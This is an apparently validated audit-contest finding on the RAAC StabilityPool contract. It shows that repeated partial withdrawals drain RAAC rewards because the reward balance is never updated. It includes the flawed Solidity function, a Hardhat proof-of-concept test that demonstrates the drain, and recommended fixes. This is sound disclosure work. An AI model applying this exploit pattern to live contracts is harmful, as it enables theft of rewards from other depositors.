Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Depositor can steal the raac rewards by calling multiple times `StabilityPool:withdraw`

Summary

Depositors can repeatedly call the StabilityPool::withdraw function to drain RAAC rewards. This allows a malicious participant to “steal” rewards by repeatedly withdrawing a small amount, while the reward calculation remains based on the full RAAC reward balance of the contract without properly updating the depositor’s rewards state.

Vulnerability Details

The issue is found in the withdraw logic of the StabilityPool contract. In the withdraw function, after the scaled deposit is reduced the function calculates the RAAC rewards using the function:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

Link to github code

Since the contract balance of RAAC tokens (which forms the basis for reward calculation) is not adjusted or “drained” appropriately during each withdrawal, a depositor can call withdraw multiple times with a small amount. Each call distributes a portion of the rewards—even if only a minimal amount of deposited rToken is removed—and the remaining reward balance still reflects nearly the entire accumulated rewards.

Proof of Concept
The following test case can be added to the StabilityPool.test.js file under the "RAAC Rewards" describe

it("depositors can steal the raac rewards via withdraw", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// rewards before withdraw
const user1Rewards = await stabilityPool.calculateRaacRewards(user1.address);
const user2RewardBeforeUser1Withdrawals = await stabilityPool.calculateRaacRewards(user2.address);
expect(user1Rewards).to.be.gt(0);
const withdrawAmount = ethers.parseEther("1");
await stabilityPool.connect(user1).withdraw(withdrawAmount);
// rewards after withdraw
const user1RewardsAfterWithdraw = await stabilityPool.calculateRaacRewards(user1.address);
expect(user1RewardsAfterWithdraw).to.be.gt(0);
// withdraw again
await stabilityPool.connect(user1).withdraw(withdrawAmount);
const user1RewardsAfterWithdraw2 = await stabilityPool.calculateRaacRewards(user1.address);
expect(user1RewardsAfterWithdraw2).to.be.gt(0);
const user2RewardAfterUser1Withdrawals = await stabilityPool.calculateRaacRewards(user2.address);
expect(user2RewardAfterUser1Withdrawals).to.be.lessThan(user2RewardBeforeUser1Withdrawals);
});

Impact

  • Reward Draining: A malicious depositor may abuse the repeated withdrawal pattern to drain a disproportionate share of RAAC rewards from the StabilityPool.

  • Economic Loss: Other depositors will receive fewer rewards than expected, potentially causing a loss of funds or a misalignment of incentives within the protocol.

Tools Used

  • Manual Code Review

  • Foundry and Hardhat (via unit tests such as in StabilityPool.test.js)

Recommendations

  1. State Update Post-Withdrawal:
    Modify the withdrawal process so that once rewards are claimed or paid out, the contract’s RAAC reward state is adjusted. For example, track individual users’ withdrawn reward amounts or update a cumulative “reward debt” variable.

  2. Separate the Reward Claim Process:
    Introduce a distinct function for claiming RAAC rewards such that once a user claims their rewards, the available pool balance is decreased accordingly.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.